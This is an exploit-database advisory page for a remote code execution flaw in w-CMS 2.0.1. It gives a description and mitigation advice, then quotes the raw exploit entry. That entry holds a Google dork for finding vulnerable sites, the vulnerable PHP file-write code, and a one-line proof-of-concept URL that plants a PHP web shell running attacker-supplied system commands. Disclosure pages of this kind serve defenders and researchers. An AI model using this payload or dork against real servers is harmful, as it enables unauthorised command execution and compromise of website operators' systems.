w-CMS 2.0.1 Remote Code Execution Vulnerability

vendor:

w-CMS

by:

ICheer_No0M

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: w-CMS

Affected Version From: 2.0.1

Affected Version To: 2.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:w-cms:w-cms:2.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 + PHP 5.2.6

2013

w-CMS 2.0.1 Remote Code Execution Vulnerability

w-CMS 2.0.1 is vulnerable to a remote code execution vulnerability due to insufficient sanitization of user-supplied input. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application, which will allow the attacker to execute arbitrary code on the server. The vulnerable code is located in the userFunctions.php file, where the procActivity() function is called with user-supplied input. This function then writes the user-supplied input to a file, which is specified by the 'type' parameter. This allows an attacker to write arbitrary code to a file, which can then be executed on the server.

Mitigation:

The application should validate user-supplied input to ensure that it does not contain malicious code. Additionally, the application should not allow user-supplied input to be used to specify the name of a file that is written to the server.

Source

Exploit-DB raw data:

Exploit Title: w-CMS 2.0.1 Remote Code Execution Vulnerability
Google Dork: intext:"Powered by w-CMS"
Date: 15/08/2013
Exploit Author: ICheer_No0M - http://icheernoom.blogspot.com/
Vendor Homepage: http://w-cms.org/
Software Link: -
Version: 2.0.1
Tested on: Windows 7 + PHP 5.2.6


---> Vuln Code : /userFunctions.php

   
  6. switch($_REQUEST['udef']) // user defined function
	     ...
 11. case 'activity': procActivity(); // <-- call procActivity Function
	     ...
254. function procActivity()
255. {
256. 	$type    = $_REQUEST['type']; // <-- type
257. 	$content = $_REQUEST['content']; // <-- content
258. 	$content = preg_replace("/\|/","\0xff ",$content)."\n";
259. 	$data = explode("\n",@file_get_contents("./public/$type")); 
260. 	$file = @fopen("./public/$type", "w"); // <-- filename = $type
261. 	if($file);
262. 	{
263. 		fwrite($file, $content); // <-- fwrite to write $content into $filename
264.		for($ix=0;$ix<25;$ix++)
265.		{
266.			fwrite($file,$data[$ix]."\n");
267.		}
268.		fclose($file);
269. 	}
    
---> Exploit/Proof of Concept (PoC)
 
http://localhost/wcms/userFunctions.php?udef=activity&type=shell.php&content=<?php system($_GET['cmd']); ?>
 
Find your shell on /public/shell.php